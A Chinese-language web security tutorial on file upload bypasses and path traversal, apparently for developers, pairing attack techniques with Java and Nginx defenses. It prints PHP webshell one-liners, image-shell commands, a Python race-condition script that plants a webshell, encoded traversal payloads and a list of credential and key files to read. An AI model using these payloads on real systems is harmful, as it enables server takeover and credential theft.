文件上传漏洞与任意文件读取
一、文件上传漏洞
1.1 原理与危害
文件上传漏洞是指 Web 应用程序在对用户上传的文件处理过程中,未对文件进行充分的安全校验,导致攻击者可以上传恶意文件(如 WebShell、恶意脚本等),从而获取服务器控制权的安全漏洞。
危害包括:
- 获取 WebShell:上传恶意脚本文件,直接获取服务器执行命令的能力。
- 服务器沦陷:通过 WebShell 进一步提权,控制整个服务器。
- 内网横向渗透:以被攻陷的服务器为跳板,攻击内网其他系统。
- 数据泄露:读取数据库配置、源代码文件、敏感业务数据。
1.2 后缀绕过
1.2.1 双扩展名绕过
某些服务器(如 Apache)在处理文件时,如果 AddHandler 配置不当,会识别文件的后缀组合。例如上传 shell.php.jpg,Apache 可能将其作为 PHP 解析。
原始文件名:shell.php.jpg
Apache 解析:识别 .jpg 但执行 .php 内容(条件:AddHandler 配置不当)
IIS 6.0:shell.asp;.jpg → 解析为 asp 执行1.2.2 大小写绕过
当服务端仅对部分后缀做了黑名单校验,而未转换为小写时:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
filename: shell.PhP
filename: shell.Asp
filename: shell.Jsp防御方式:统一将文件后缀转为小写后再进行校验。
1.2.3 截断绕过
在 PHP 5.3.4 之前的版本中,由于 %00 截断特性,可以利用空字节截断文件名:
shell.php%00.jpg → 服务端校验 .jpg,但实际保存为 shell.php在 Java 中,也存在类似的问题,虽然 JDK 修复了 File 类的空字节问题,但某些框架或自定义上传逻辑仍可能受影响。
1.2.4 .htaccess 上传绕过
攻击者上传自定义的 .htaccess 文件,将特定后缀映射到可执行脚本:
AddType application/x-httpd-php .jpg上传该 .htaccess 文件后,再上传包含 PHP 代码的 shell.jpg,Apache 便会将其作为 PHP 执行。
1.3 内容检测绕过
1.3.1 Magic Number 绕过
服务端通过读取文件头部的魔数来校验文件类型,攻击者可以在恶意文件头部拼接合法文件的魔数:
| 文件类型 | Magic Number(十六进制) |
|---|---|
| JPEG | FF D8 FF E0 |
| PNG | 89 50 4E 47 |
| GIF | 47 49 46 38 |
| ZIP | 50 4B 03 04 |
绕过示例(GIF 头部 + PHP 代码):
GIF89a
<?php @eval($_POST['cmd']); ?>1.3.2 Content-Type 绕过
服务端仅检查 HTTP 请求头中的 Content-Type,而未对文件实际内容做校验时:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← 伪造为图片类型防御方式:必须同时校验 Content-Type 和文件实际内容,不可信任客户端提交的 Content-Type。
1.4 图片马制作与利用
图片马是将恶意代码嵌入到合法图片文件中,绕过内容检测。
命令行制作方式:
# Linux
echo '<?php @eval($_POST["cmd"]); ?>' >> innocent.jpg
# Windows(copy 命令)
copy innocent.jpg /b + shell.php /a shell.jpgJava 代码中检测图片马的方式:
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
public class ImageValidator {
/**
* 通过 ImageIO 解析图片,若能正常读取则为合法图片
*/
public static boolean isValidImage(File file) {
try {
BufferedImage image = ImageIO.read(file);
return image != null;
} catch (IOException e) {
return false;
}
}
}但需要注意的是,ImageIO 读取图片时仍然会保留附加在图片尾部的内容,因此图片马仍然可以被解析为合法图片。更安全的做法是重新编码图片,去除所有附加数据。
1.5 条件竞争上传
条件竞争(Race Condition)发生在文件上传过程中的时间差内。典型场景:
- 服务端先保存文件到临时目录。
- 然后检查文件内容是否合法。
- 若不合法则删除。
攻击者在文件被保存后、被删除前,通过高并发请求访问该文件。
利用思路:
import requests
import threading
url_upload = "http://target.com/upload.php"
url_access = "http://target.com/uploads/shell.php"
def upload():
files = {'file': ('shell.php', '<?php fwrite(fopen("cmd.php","w"),"<?php @eval($_POST[cmd]);?>");?>')}
requests.post(url_upload, files=files)
def access():
while True:
r = requests.get(url_access)
if r.status_code == 200:
print("文件写入成功!")
break
# 并发执行
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=access)
t1.start()
t2.start()防御措施:
- 先写入临时文件,校验通过后再移动到正式目录(使用原子操作)。
- 上传目录禁止脚本执行权限。
1.6 容器解析漏洞
1.6.1 IIS 6.0
- 目录名解析:创建
*.asp目录,目录下的所有文件都会以 ASP 解析。 - 分号截断:
shell.asp;.jpg会被解析为 ASP 文件。
1.6.2 IIS 7.5 / Nginx
当 Nginx 配置了 cgi.fix_pathinfo=1 时,上传 shell.jpg 后访问 shell.jpg/non_exist.php,Nginx 会将 shell.jpg 以 PHP 解析。
Nginx 修复配置:
# 关闭 fix_pathinfo
fastcgi_split_path_info ^(.+\.php)(.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
if ($fastcgi_script_name ~ \.php$) {
# 仅当请求以 .php 结尾时才交由 FastCGI 处理
}1.6.3 Tomcat
Tomcat 的 web.xml 中配置了 DefaultServlet,在特定版本中可利用 /shell.jsp/ 目录访问触发 JSP 解析。另外,Tomcat 7 以下版本存在路径遍历+上传结合的攻击面。
Tomcat 安全配置示例:
<!-- 限制上传文件类型 -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Upload Restriction</web-resource-name>
<url-pattern>/uploads/*</url-pattern>
</web-resource-collection>
<auth-constraint />
</security-constraint>1.6.4 JBoss
JBoss 的 JMX Console 未授权访问时可利用 DeploymentScanner 上传 .war 包实现远程代码执行。攻击者通过 HTTP POST 请求向 jmx-console 上传恶意 WAR 包,服务器自动部署后即可获取 WebShell。
1.7 防御措施
1.7.1 白名单后缀校验
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
public class FileUploadValidator {
private static final Set<String> ALLOWED_EXTENSIONS = new HashSet<>(Arrays.asList(
"jpg", "jpeg", "png", "gif", "bmp", "doc", "docx", "xls", "xlsx", "pdf"
));
/**
* 校验文件后缀是否在白名单内
*/
public static boolean validateExtension(String fileName) {
if (fileName == null || !fileName.contains(".")) {
return false;
}
String ext = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
return ALLOWED_EXTENSIONS.contains(ext);
}
}1.7.2 Content-Type 与服务端双重校验
import java.io.IOException;
import java.io.InputStream;
import java.net.URLConnection;
public class ContentTypeValidator {
/**
* 通过 Magic Number 校验文件真实类型
*/
public static boolean validateContentType(InputStream inputStream, String expectedMime) throws IOException {
// 读取文件前几个字节判断魔数
byte[] header = new byte[8];
int readLen = inputStream.read(header, 0, 8);
if (readLen < 8) {
return false;
}
String mimeType = URLConnection.guessContentTypeFromStream(new java.io.ByteArrayInputStream(header));
// 与预期的 MIME 类型比对
return expectedMime.equals(mimeType);
}
}1.7.3 文件重命名
保存文件时使用 UUID 或时间戳重命名,不保留用户原始文件名,彻底杜绝后缀绕过问题:
import java.util.UUID;
public class FileRenamer {
public static String generateSafeFileName(String originalName) {
String ext = "";
if (originalName != null && originalName.contains(".")) {
ext = originalName.substring(originalName.lastIndexOf(".")).toLowerCase();
}
// 仅保留安全的 UUID 文件名
return UUID.randomUUID().toString() + ext;
}
}1.7.4 单独域/目录存储
- 上传文件存储在独立的域名或子域名下(如
img.example.com),与主站完全隔离。 - 存储目录禁止脚本执行权限(如 Nginx 配置
location /uploads { location ~ \.php$ { deny all; } })。
1.7.5 WAF 规则
# Nginx WAF 规则示例
location ~* \.(php|asp|aspx|jsp|jspx|cgi|war)$ {
deny all;
}
# 限制上传文件大小
client_max_body_size 10M;二、任意文件读取/下载
2.1 路径遍历(Path Traversal)
路径遍历漏洞是指应用程序在读取或下载文件时,未对用户传入的文件路径参数做充分校验,攻击者可以通过 ../ 等序列跳出限制目录,读取系统上的任意文件。
典型漏洞代码示例:
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.file.Files;
public class FileDownloadServlet {
/**
* 存在路径遍历漏洞的文件下载方法
*/
public byte[] downloadFile(String fileName) throws IOException {
// 漏洞:直接拼接用户输入,未做任何校验
String basePath = "/var/www/uploads/";
File file = new File(basePath + fileName);
if (!file.exists()) {
throw new IOException("文件不存在");
}
return Files.readAllBytes(file.toPath());
}
}攻击者可传入 ../../etc/passwd 读取系统密码文件。
2.2 常见的绕过方式
2.2.1 标准路径遍历
../../../etc/passwd
../../../../etc/shadow
../../../../windows/win.ini2.2.2 编码绕过
当服务端对 ../ 做了简单过滤时,可尝试多种编码方式:
URL 编码: %2e%2e%2f → ../../
双重 URL 编码: %252e%252e%252f → 解码一次后为 %2e%2e%2f → ../../
Unicode 编码: ..%u2215 → 类斜杠字符
UTF-8 编码: ..%c0%af → 斜杠(IIS 的 UTF-8 绕过)
16 进制编码: ..%252f# 双重编码绕过示例
GET /download?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.12.2.3 路径截断
在某些语言和框架中,利用空字节截断路径:
../../../etc/passwd%00.jpg2.3 文件读取利用
2.3.1 读取系统敏感文件
# Linux 系统
/etc/passwd → 用户账户信息
/etc/shadow → 密码哈希(需 root 权限)
/etc/ssh/sshd_config → SSH 配置
/root/.ssh/id_rsa → SSH 私钥
/var/log/auth.log → 认证日志
# Windows 系统
C:\boot.ini
C:\Windows\win.ini
C:\Windows\System32\config\SAM2.3.2 源码泄露
# 通过读取源文件获取数据库配置
/WEB-INF/web.xml → Java Web 配置
/WEB-INF/classes/application.properties → 数据库密码、密钥
/WEB-INF/classes/db.properties
../src/main/resources/application.yml2.3.3 读取配置文件获取数据库凭证
GET /download?file=../../../WEB-INF/classes/jdbc.properties HTTP/1.1
Host: target.com
# 响应可能包含:
jdbc.url=jdbc:mysql://localhost:3306/appdb
jdbc.username=root
jdbc.password=SuperSecret123!2.4 防御措施
2.4.1 路径白名单
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
public class SecureFileDownload {
private static final String BASE_DIR = "/var/www/uploads/";
// 文件白名单
private static final Set<String> ALLOWED_FILES = new HashSet<>(Arrays.asList(
"report_2024.pdf",
"user_guide.pdf",
"terms.html"
));
/**
* 安全的文件下载——白名单方式
*/
public byte[] safeDownloadByWhitelist(String fileName) throws IOException {
if (!ALLOWED_FILES.contains(fileName)) {
throw new SecurityException("非法文件访问: " + fileName);
}
File file = new File(BASE_DIR + fileName);
return Files.readAllBytes(file.toPath());
}
}2.4.2 正则校验 + 路径规范化
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class SecureFileAccess {
private static final String BASE_DIR = "/var/www/uploads/";
/**
* 安全的文件读取——路径规范化和严格校验
*/
public byte[] safeReadFile(String userInput) throws IOException {
// 1. 过滤路径遍历字符
if (userInput.contains("..") || userInput.contains("./")) {
throw new SecurityException("非法路径");
}
// 2. 构建绝对路径并规范化
Path basePath = Paths.get(BASE_DIR).normalize().toAbsolutePath();
Path targetPath = basePath.resolve(userInput).normalize().toAbsolutePath();
// 3. 校验最终路径是否在允许的基目录下
if (!targetPath.startsWith(basePath)) {
throw new SecurityException("路径越权访问");
}
// 4. 检查文件是否存在且为常规文件
File file = targetPath.toFile();
if (!file.exists() || !file.isFile()) {
throw new IOException("文件不存在");
}
return Files.readAllBytes(targetPath);
}
}2.4.3 chroot 监狱
在 Linux 系统中,可以将文件下载服务运行在 chroot 环境中,限制进程能访问的文件系统范围:
# 创建 chroot 环境
mkdir -p /var/chroot/downloads
cp -r /var/www/uploads /var/chroot/downloads/
# 运行服务时 chroot
chroot /var/chroot/downloads /usr/bin/java -jar file-server.jarchroot 后的进程即使存在路径遍历漏洞,也无法访问 chroot 目录之外的文件。
2.4.4 最小权限原则
- 文件下载服务使用低权限用户运行(如
nobody、www-data)。 - Web 服务器配置禁止读取
.git、.svn、WEB-INF等敏感目录。
# Nginx 禁止敏感文件访问
location ~* (\.git|\.svn|WEB-INF|\.class|\.jar|\.properties)$ {
deny all;
return 404;
}2.4.5 文件映射
不直接暴露文件路径,使用文件 ID 或哈希值作为下载参数,由后端自行查找真实路径:
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
public class FileMappingService {
// 文件 ID 到真实路径的映射表,不对外暴露
private static final Map<String, String> FILE_MAPPING = new ConcurrentHashMap<>();
static {
FILE_MAPPING.put("report-001", "/var/www/uploads/report_2024.pdf");
FILE_MAPPING.put("guide-002", "/var/www/uploads/user_guide.pdf");
}
/**
* 通过文件 ID 获取文件,不暴露真实路径
*/
public String getFilePathByMapping(String fileId) {
String realPath = FILE_MAPPING.get(fileId);
if (realPath == null) {
throw new SecurityException("无效的文件 ID: " + fileId);
}
return realPath;
}
}三、总结
| 漏洞类型 | 核心问题 | 推荐防御方案 |
|---|---|---|
| 文件上传 | 未校验文件类型/内容 | 白名单后缀 + Magic Number 校验 + 重命名 |
| 容器解析漏洞 | Web 容器配置不当 | 升级容器版本 + 关闭危险配置(如 fix_pathinfo) |
| 条件竞争 | 校验与写入顺序不当 | 先写临时目录校验后原子移动 |
| 路径遍历 | 未校验用户输入路径 | 路径规范化 + 白名单 + 文件映射 |
| 文件读取 | 未限制访问范围 | chroot 监狱 + 最小权限 + 正则过滤 |
安全开发的核心原则:永远不要信任用户输入,所有外部传入的参数都必须经过严格的校验和过滤。